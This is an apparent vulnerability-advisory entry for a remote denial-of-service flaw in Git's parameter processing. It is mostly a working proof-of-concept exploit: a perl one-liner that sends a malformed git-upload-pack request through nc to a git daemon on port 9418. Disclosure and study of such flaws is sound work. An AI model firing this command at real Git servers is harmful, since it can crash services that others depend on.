• info
• discussion
• exploit
• solution
• references

Git Parameter Processing Remote Denial Of Service Vulnerability

Attackers can exploit this issue using readily available tools.

The following example command is available:

$ perl -e '
$s="git-upload-pack git\0user=me\0host=localhost\0";
printf "%4.4x%s",4+length $s,$s
' | nc $GITHOST 9418